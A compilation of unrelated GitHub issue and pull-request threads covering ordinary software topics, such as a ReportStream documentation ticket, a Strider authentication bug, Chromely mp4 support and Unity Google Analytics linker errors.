What you need to know
This ticket came out of Rick Hawes' Epic # 4598.
SUMMARY OF TICKET # 4598 as it pertains to Experience Team:

Per Rick Hawes: The NIH has developed an HL7 profile of self-administered tests. This profile is being balloted by HL7 now and is likely to be accepted as a standard HL7 profile soon. NIH is meeting with ReportStream senders as well to advocate their standards. ReportStream should have comprehensive support for the NIH standard.
O&O team and Experience team will cross-collab on updating the Onboarding changes to support the NIH standard: 1) Documenting ReportStream's support for at-home testing on the top-level of the public website, 2) Referencing the NIH website in our programmer's guide documentation
Original Slack thread
Slack thread with proposed Ask from Rick Hawes

BLOCKER:

O&O team updates the sender onboarding documentation and programmer's guide to include NIH at-home test standards and sends updated documentation and guide to Exp. Team to revise content for public-facing audience.

Acceptance criteria

[ ] Update current API programmer's guide to version 2.1 (with NIH standards guidance)
[ ] Guidance speaks to the ReportStream API user
[ ] Saved as a styled and formatted user-facing Word document
[ ] Adherent to ReportStream content style guide

To do

[ ] Content review of O&O team's revisions to API programmer's guide (typically 2-3 passes between Joel/O&O and Berni/Exp.)
[ ] Formatting and styling of version 2.1 after all revisions approved by O&O (Joel Biskie)
[ ] Share API programmer's guide v2.1 with UI to stage for deployment (keep this bullet point - see # 4874 for UI staging task)

@BerniXiongA6 Note for BX: create new ticket for UI (see AC above for info)

@rachelhanster @HeatherRienks The O&O team said they won't prioritize the schema updates to include NIH standards for another 2-3 sprints from now. I'm going to place this ticket back into Product Backlog.

@jbiskie - is this something that you will be able to help us with during this sprint?
cc: @BerniXiongA6

Spoke w/ @jbiskie and this ticket is being worked on. O&O work will be in this ticket: #5377.

Updated 5/12/2022: Per @jbiskie the O&O (engineering) content will be done and ready for me to review by mid- next week (5/18/2022). This ticket should then be able to pull into the sprint after that time. I'll keep an eye on O&O's # 5377 in the meantime. cc: @RakshindaAslam @HeatherRienks

Updated 5/19/2022: Updated programmer's guide is ready per @jbiskie ! I'll be revising content for v2.2 this coming sprint. cc: @RakshindaAslam @HeatherRienks

Updates 6/6/2022: Final Version 2.2 is ready for staging!


Updating cloud foundry python

What? and Why?
Python 3.6.1 no longer exists in cloud foundry
Checklist

[ ] CHANGELOG.md updated? (if required)

Codecov Report

Merging #229 into master will not change coverage.
The diff coverage is n/a.

@@           Coverage Diff           @@
##           master     #229   +/-   ##
=======================================
  Coverage   90.17%   90.17%
=======================================
  Files           6        6
  Lines         234      234
=======================================
  Hits          211      211
  Misses         23       23

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 20c2e7d...806f3a6. Read the comment docs.


ACAG v1 fixes

:white_check_mark: Validation status: passed

File
Status
Preview URL
Details

docs/cloud-adoption-guide/adoption-intro/resource-group-explainer.md
:white_check_mark:Succeeded
View

docs/cloud-adoption-guide/adoption-intro/resource-group.md
:white_check_mark:Succeeded
View

docs/cloud-adoption-guide/adoption-intro/subscription-explainer.md
:white_check_mark:Succeeded
View

docs/cloud-adoption-guide/adoption-intro/tenant-explainer.md
:white_check_mark:Succeeded
View

docs/cloud-adoption-guide/toc.yml
:white_check_mark:Succeeded
View

For more details, please refer to the build report.
Note: If you changed an existing file name or deleted a file, broken links in other files to the deleted or renamed file are listed only in the full build report.

Closing - RoAnn is currently editing the docs


Logo as images instead of ascii text

What does this PR do?
HeroSection logo as images instead of ascii text

nicee


Projects/Manual Add accepts unspecified Repository Authentication

Using Strider version 1.7.5, the page http://<host>:<port>/projects doesn't stop creation of a project when none of the Repository Authentication options is selected.
The created project will be unusable as access to its configuration is impossible.

There is a WIP pull request here https://github.com/Strider-CD/strider/pull/763 that tries to tackle some of the inadequacies of this section. Your feedback is appreciated.

I think that the Set default auth type is a solution given that:

the page rejects the config in case the repos is an ssh, http or https repos
strider-git can interpret it as local git repos (I have already submitted an issue for enhancement request in this regard).

You'r links doesn't work.

Fixed. Sorry for any inconvenience.

This also happens to me. Console will complain on:
strider_1 | strider stderr | /opt/strider/src/node_modules/strider-git/lib/index.js:128
strider_1 |   if (config.auth.type === 'ssh') {
strider_1 |                  ^
strider_1 | strider stderr | TypeError: Cannot read property 'type' of undefined
strider_1 |     at Object.getBranches (/opt/strider/src/node_modules/strider-git/lib/index.js:128:18)
strider_1 |     at Object.module.exports.getBranches (/opt/strider/src/node_modules/strider-git/webapp.js:33:11)
strider_1 |     at Promise.<anonymous> (/opt/strider/src/lib/routes/index.js:300:16)
strider_1 |     at Promise.<anonymous> (/opt/strider/src/node_modules/mongoose/node_modules/mpromise/lib/promise.js:177:8)
strider_1 |     at Promise.EventEmitter.emit (events.js:95:17)
strider_1 |     at Promise.emit (/opt/strider/src/node_modules/mongoose/node_modules/mpromise/lib/promise.js:84:38)
strider_1 |     at Promise.fulfill (/opt/strider/src/node_modules/mongoose/node_modules/mpromise/lib/promise.js:97:20)
strider_1 |     at /opt/strider/src/node_modules/mongoose/lib/query.js:1058:26
strider_1 |     at model.Document.init (/opt/strider/src/node_modules/mongoose/lib/document.js:254:11)
strider_1 |     at completeMany (/opt/strider/src/node_modules/mongoose/lib/query.js:1056:12)
strider_1 |     at Object.cb (/opt/strider/src/node_modules/mongoose/lib/query.js:1022:11)
strider_1 |     at Object._onImmediate (/opt/strider/src/node_modules/mongoose/node_modules/mquery/lib/utils.js:137:16)
strider_1 |     at processImmediate [as _immediateCallback] (timers.js:330:15)

But i have to point out a bit requirement that may go on another issue: there should just be a default option for authentication and it should be none.
We have internal git  and there is no reason for us to give strider auth on publicly readable repos.
The UX there is quite confusing actually, you can easily guess the right sub-type looking at the protocol.
So for example you may observe url and if is http or https show a U/P form, if left blank means no auth.


Getting updates on windows 8 is slow.

VSCode Version:1.0.1-alpha
OS Version: Windows10 and Win8

I installed the latest alpha build from https://vscode-builds.azurewebsites.net/alpha on my windows10 and win8 machine. I observed whenever I install the latest build on windows10 I may get a update pop-up instantly if there is any build updates.
But on win8 machine I didn't get any update pop-up instantly. Its trigger very late, almost after an hr.

Win8 (before update):

Win10 (after update):

This is OK.


Multi-cluster pipeline?

Hi,
We're currently using three Pipelines among the two clusters like below
Pipeline A (Cluster 1) -> Pipeline B (Cluster 1)
                       -> Pipeline C (Cluster 2)

Since Pipeline C has CPU intensive tasks while Pipeline B has some requirements which make us to run the pipeline at specific cluster, we could not avoid to separate the tasks into two different pipelines (which will run on two different clusters)
I could not find right way to make a Pipeline which allow us to meet the requirement above, so we leveraged github status API and trigger only when the status of pipeline A is finished. It's quite breakable and unmaintainable so I am looking for the native way to deploy pipelines among the two clusters.
Any advice will be appreciated.
Thanks

Hi @ileixe, I don't believe there is a native way to achieve this currently, but I think you could build something utilizing kcp, gleaming insights from this neat project: https://github.com/openshift-pipelines/pipelines-service maybe @guillaumerose or @bnallapeta have some thoughts on this :cat:

@ileixe Yes! we are currently working on Pipelines/Tasks deployed/managed on multiple clusters using kcp as @jbpratt pointed out - pipelines-service
But, the management of workload (pipelines) on different physical clusters is handled by kcp. So, I am not sure if it directly supports your requirement i.e., control which pipeline runs on which cluster.
@vdemeester thoughts? :)

/kind question


Please add Air Purifier 4 Compact since Spec MIoT is supported

I own a Air Purifier 4 Compact and the model is zhimi.airp.cpa4 but it isn't supported yet. I found an MIoT spec for this model so could you add it into supported devices, pls?

I have this model purifier 4 compact too.
When will you add spec .cpa4 supported?
That would be a great step for me.

Theres no activity for 4 years now. I fear, your wish will not fullfilled.

Did you know a way to integrate this model in smarthome (node red) without ha?

Did you know a way to integrate this model in smarthome (node red) without ha?

I've made a script for iobroker and integrated some devices not available in the original here. Maybe you can look there and understand the system to make your own device working. Look here: https://github.com/Pittini/iobroker-nodemihome

Thank you.
I  have created and adapted files for use in node red on raspberry pi. It works. Thanks.


README.md typo for - tx_sec support with OSX

- tx_sec is not supported in OSX

Ficed ... as you contributed rx_sec & tx_sec support for OS X I updated the DOCs accordingly.


Update skunk-core to 0.2.1

Updates org.tpolecat:skunk-core from 0.2.0 to 0.2.1.
GitHub Release Notes - Changelog - Version Diff
I'll automatically update this PR to resolve conflicts as long as you don't change it yourself.
If you'd like to skip this version, you can just close this PR. If you have any feedback, just mention me in the comments below.
Configure Scala Steward for your repository with a .scala-steward.conf file.
Have a fantastic day writing Scala!

Ignore future updates
Add this to your .scala-steward.conf file to ignore future updates of this dependency:
updates.ignore = [ { groupId = "org.tpolecat", artifactId = "skunk-core" } ]

labels: library-update, semver-patch

Superseded by #19.


command renames and shuffles

feature-table merge-taxa-data → taxa merge (once we have type maps, merge-taxa-data and merge-seq-data will be combined to a single method, probably merge-feature-data - i'm going to leave this as is for now, so we're not bouncing this functionality back and forth)
[ ] feature-table view-taxa-data → taxa tabulate
[ ] feature-table view-seq-data → feature-table tabulate-seqs

this was posted to the wrong repo...


is it mp4 suppoted

is it mp4 supported ?

Chromely is based on CEF/CefSharp and CEF/CefGlue. For proprietary reasons none of them support mp4 out of the box and so Chromely too does not. However, those with appropriate license for mp4/H.264 can rebuild CEF and the binaries should easily be used with Chromely.
To know what is supported you can run Chromely with a start url - https://html5test.com/
Last test I ran:

Meanwhile you can see what Chromely supports with Google Shaka.  To try Shaka run Chromely with a start url - https://shaka-player-demo.appspot.com/demo/#asset=https://storage.googleapis.com/shaka-demo-assets/angel-one/dash.mpd;lang=en-US;build=uncompiled
More info:
Note:
Support for Widevine CDM requires additional steps as outlined here.
Use of proprietary codecs (such as H.264) requires a custom build of CEF to be used due to licensing requirements.
Details on how to build the CEF project and other resources can be found here.
Google Shaka Player demo - video play back
You can get more info from running CdmSupportTest.html.


docs: ✏ fix size of the shards

The docs for this PR live here. All of your documentation changes will be reflected on that endpoint.


Font mess

Kind of preface
I just decided to open an issue concerning the mess with fonts but it already exists (#41). Though my remarks are a bit different so I open a new issue report.
Issues core
The issues touch only the titles. There are three cases of representing them:

Latin script without diacritics (English, (in our case) French, German, etc.) — that's all OK.

Latin script with diacritics (Polish, Turkish, Spanish, and especially Vietnamese), some cyrillic-script languages (Ukrainian), and neither-latin-nor-cyrillic-script languages (Hebrew, Arabic, etc.) — here, the standard latin letters are in the ChunkFiveRegular font, and the rest ones, which are with diacritics, are of serif family. It looks very awful:

Some cyrillic-script languages (Russian) and, for some reason, Azerbaijani language — here, helvetica is used. It totally differs from the ChunkFiveRegular font. No consistency!

Summarizing
For some reason (I haven't yet looked through the HTML/CSS code), different fonts are used.
Generally speaking, my suggestion is the only:

Replace the ChunkFiveRegular font with some really unicode font so that each character looks identically.

Replace the ChunkFiveRegular font with some really unicode font so that each character looks identically.

Sorry, that font is part of the Homebrew branding at this stage. I'm up for changing the font in languages where it's necessary but I don't think consistency should mandate it being dropped everywhere.

If so, we need to find a font that is similar to ChunkFiveRegular. Or, at least, add some boldness to the strings in those languages that comprise diacritics and glyph-like characters.

I'm open to any other workarounds.

Passing on this as a WONTFIX as there are no solutions we can see. Sorry!


Self-awareness as a value

Circling back on additional value that I think we have already, and need to filter for in hiring.

Approved in leads meeting today


Should a notion link parse to normal hyper link?

I am expect it to be notion.so/{pageid}
https://github.com/souvikinator/notion-to-md/blob/6608761a36879fb962adf3afccbdbd0da65b0dd1/src/notion-to-md.ts#L170-L178
Maybe in this case to handle, if the url starts with notion then transform to notion.so/{pageid}

Hey there,
Can you be specific on how to reproduce this? I never came across notion URLs starting with notion://

I can't reproduce this. Close this for now 🤔


Bot announce changes

Can now organize announcements that'll show the next time the bot restarts, or right away.
It also posts a simple "Server started." message when it starts into the normal bot-announcements channel. This isn't visible to normal users, easy enough to change if desired.
new commands
!announce help (Shows information about commands)
!announce new message_id send_now*
(Will copy the contents including formatting of message_id and add to a list that is saved, the next time the bot starts, it will post these into the channel that the new setting Settings.UpdateNewsChannel points to. if send_now is true it'll just copy the content and post them into UpdateNewsChannel)
!announce clear (clears the stored announcement list and saves)
!announce preview (Will post the entire announcement list into the channel this command is used in)
Did some testing, didn't find any problems.
This PR does contain some QOL features from branch I'm working on locally however.

deserializer which should simplify settings saving/loading (also for first time startup)
Simple console log which should make problems more obvious (hopefully)
A database test, checks the command string works, and tests to make sure the table users exists.

Should be feature complete enough for #12

Can you give some use case for this feature ? Because I don't really understand what it does and why. 🤔
For #12 I was really thinking something terribly simple, like:
OnBotReady => Send "Bot Started" (harcoded) in #bot-commands (using the already defined ID).

Think I misread the issue, I might just make this into a couple Pull Requests
Most of what this does is act as an announcement service, you can format a message in a private channel and then tell the bot to copy the message and post it into a specified channel which it'll do either right away, or the next time the bot starts (Presumably after an upgrade/new features have been merged).
It also just says when the bot starts into the #bot-announcement channel, that can easily change that to #bot-commands

I meant #bot-announcement, not #bot-commands mb, so that's good!

Closing this since useless 🦘


add knockout styling to add author button

because it is on a colored background
[Delivers #87478502]

Even a small UI update like this now requires a re-generation of the Styleguide to /kss/styleguide.
This involves running rspec spec/features/harvest_styleguide.rb' which will run Selenium and capture a bunch of the app to .html files in /doc/ux. Then running ruby populate_styleguide.rb` from the project root - which will update /kss/styleguide.html.erb from the harvested files.
We are already refactoring toward an Ember version of the Styleguide to reduce this bit of overhead.

this one's for @andibyday :+1:

RW


Supply missing right parenthesis

Two previous attempts to fix this have been blocked because the commits weren't signed.
Third time's a charm?

Who is currently maintaining target-syslibs? Any designated maintainers?

Who is currently maintaining target-syslibs? Any designated maintainers?

I don't know, but I'll ask around.

Thanks! I am currently cleaning up the permission on all p4lang repositories. I have been also looking at syslibs and whether maintainers need to be removed or added.

Who is currently maintaining target-syslibs? Any designated maintainers?
Right now I am the only maintainer. But let me see if I can get some more people for these repos.

I am not sure why this PR is complaining about parenthesis

Right now I am the only maintainer. But let me see if I can get some more people for these repos.

Please let me know. In the meantime I will remove everyone else.


Milestone to support Dialog and support onDestroy lifecycle to reduce leak memory?

Any exact milestone to add support for dialog?
I'm searching a references library, looks like it's the same with yours:
https://github.com/kirich1409/ViewBindingPropertyDelegate & https://github.com/hoc081098/ViewBindingDelegate

Hi @mochadwi , thanks for your concern. for the dialogfragment milestone, actually, it should be done at the end of this year.
and thanks for your suggestion about the onDestroy lifecycle, I will add it in the next release for the activity and the bottomsheet.

Hi @mochadwi ,
Thank you for waiting for an update, and sorry for waiting too long. Please do update to the latest version 1.0.3. And let me know if there is still an issue. And I add a capability to support the DialogFragment too.


Login not working

Hi,
at bootstrap.build the Login not working anymore. Pleease fix it.
regards,
Jonathan

Hi, I have check the issue now, and login works for me, could me please explain what you do?

Sign in with Google is working in Safari. However, I can't get login with my email address. This worked last week. With the click on login nothing happens.

We have fixed this issue, please reset your password https://bootstrap.build/forgot


GA Plugin not working with Unity v5.3

Google Analytics is giving errors on XCode when trying to build, using Unity 5.3.
Undefined symbols for architecture armv7:
"_inflate", referenced from:
+[GAICompressionUtil gai_dataByInflatingBytes:length:isRawData:] in libGoogleAnalyticsServices.a(GAICompressionUtil.o)
(maybe you meant: _inflate_copyright, _unity_z_inflateCopy , _unity_z_inflateSync , _unity_z_inflateGetHeader , _inflate_table , _unity_z_inflatePrime , _unity_z_inflate , unity_z_inflateInit , _unity_z_inflateSetDictionary , _unity_z_inflateReset , _mono_class_inflate_generic_type_with_mempool , _mono_class_inflate_generic_method_full_checked , _inflated_methods_size , _mono_metadata_get_inflated_signature , _mono_metadata_free_inflated_signature , _mono_class_inflate_generic_type_checked , _mono_get_inflated_method , _mono_class_inflate_generic_method_full , _mono_marshal_free_inflated_wrappers , _inflate_fast , _unity_z_inflateEnd , _inflated_classes , _mono_method_inflated_lookup , _mono_class_get_inflated_method , _mono_class_inflate_generic_method , _mono_class_is_inflated , _unity_z_inflateSyncPoint , _unity_mono_method_is_inflated , _mono_class_inflate_generic_class , __Z27scripting_class_is_inflatedP9MonoClass , _mono_class_inflate_generic_type , _mono_metadata_inflate_generic_inst , unity_z_inflateInit2 , _inflated_classes_size )
"deflateInit2", referenced from:
+[GAICompressionUtil gai_dataByCompressingBytes:length:compressionLevel:mode:] in libGoogleAnalyticsServices.a(GAICompressionUtil.o)
(maybe you meant: unity_z_deflateInit2)
"_deflateEnd", referenced from:
+[GAICompressionUtil gai_dataByCompressingBytes:length:compressionLevel:mode:] in libGoogleAnalyticsServices.a(GAICompressionUtil.o)
(maybe you meant: _unity_z_deflateEnd)
"_inflateEnd", referenced from:
+[GAICompressionUtil gai_dataByInflatingBytes:length:isRawData:] in libGoogleAnalyticsServices.a(GAICompressionUtil.o)
(maybe you meant: _unity_z_inflateEnd)
"_deflate", referenced from:
+[GAICompressionUtil gai_dataByCompressingBytes:length:compressionLevel:mode:] in libGoogleAnalyticsServices.a(GAICompressionUtil.o)
(maybe you meant: _unity_z_deflateParams, _unity_z_deflateSetHeader , unity_z_deflateInit , unity_z_deflateInit2 , _unity_z_deflateReset , _unity_z_deflate , _unity_z_deflate_copyright , _unity_z_deflatePrime , _unity_z_deflateEnd , _unity_z_deflateTune , _unity_z_deflateBound , _unity_z_deflateCopy , _unity_z_deflateSetDictionary )
"OBJC_CLASS$_NSFetchRequest", referenced from:
objc-class-ref in libGoogleAnalyticsServices.a(TAGModel.o)
objc-class-ref in libGoogleAnalyticsServices.a(GAIDataStore.o)
"OBJC_CLASS$_NSManagedObjectContext", referenced from:
objc-class-ref in libGoogleAnalyticsServices.a(TAGModel.o)
objc-class-ref in libGoogleAnalyticsServices.a(GAIDataStore.o)
"OBJC_CLASS$_NSManagedObject", referenced from:
OBJC_CLASS$_TAGHit in libGoogleAnalyticsServices.a(TAGHit.o)
"OBJC_CLASS$_NSPersistentStoreCoordinator", referenced from:
objc-class-ref in libGoogleAnalyticsServices.a(TAGModel.o)
objc-class-ref in libGoogleAnalyticsServices.a(GAIDataStore.o)
"OBJC_CLASS$_NSMigrationManager", referenced from:
objc-class-ref in libGoogleAnalyticsServices.a(TAGModel.o)
"OBJC_CLASS$_NSMappingModel", referenced from:
objc-class-ref in libGoogleAnalyticsServices.a(TAGModel.o)
"inflateInit2", referenced from:
+[GAICompressionUtil gai_dataByInflatingBytes:length:isRawData:] in libGoogleAnalyticsServices.a(GAICompressionUtil.o)
(maybe you meant: unity_z_inflateInit2)
"OBJC_CLASS$_NSAttributeDescription", referenced from:
objc-class-ref in libGoogleAnalyticsServices.a(TAGModel.o)
objc-class-ref in libGoogleAnalyticsServices.a(GAICoreDataUtil.o)
"OBJC_METACLASS$_NSManagedObject", referenced from:
OBJC_METACLASS$_TAGHit in libGoogleAnalyticsServices.a(TAGHit.o)
"_NSSQLiteErrorDomain", referenced from:
-[GAIDataStore performBlockAndWait:withError:] in libGoogleAnalyticsServices.a(GAIDataStore.o)
"_NSSQLiteStoreType", referenced from:
+[TAGModel migrateToCurrentVersion:] in libGoogleAnalyticsServices.a(TAGModel.o)
+[TAGModel coordinatorWithURL:] in libGoogleAnalyticsServices.a(TAGModel.o)
-[GAIDataStore coordinatorWithModel:URL:] in libGoogleAnalyticsServices.a(GAIDataStore.o)
"_NSOverwriteMergePolicy", referenced from:
+[TAGModel contextWithURL:] in libGoogleAnalyticsServices.a(TAGModel.o)
-[GAIDataStore contextWithModel:URL:] in libGoogleAnalyticsServices.a(GAIDataStore.o)
"OBJC_CLASS$_NSEntityDescription", referenced from:
objc-class-ref in libGoogleAnalyticsServices.a(TAGDataProvider.o)
objc-class-ref in libGoogleAnalyticsServices.a(TAGModel.o)
objc-class-ref in libGoogleAnalyticsServices.a(GAIDataStore.o)
objc-class-ref in libGoogleAnalyticsServices.a(GAICoreDataUtil.o)
"OBJC_CLASS$_NSManagedObjectModel", referenced from:
objc-class-ref in libGoogleAnalyticsServices.a(TAGModel.o)
objc-class-ref in libGoogleAnalyticsServices.a(GAICoreDataUtil.o)
ld: symbol(s) not found for architecture armv7
clang: error: linker command failed with exit code 1 (use -v to see invocation)

Had the same issue. Solution was to manually add the following librairies in your Xcode build in Build Phase : SystemConfiguration, CoreData and libz. The post-processing script can't add these automaticly since Unity 5.3 it seems.

This will be fixed in Unity 5.3.2p1 (tbd files will be recognised as part of the Unity Xcode API)

This still is not fixed.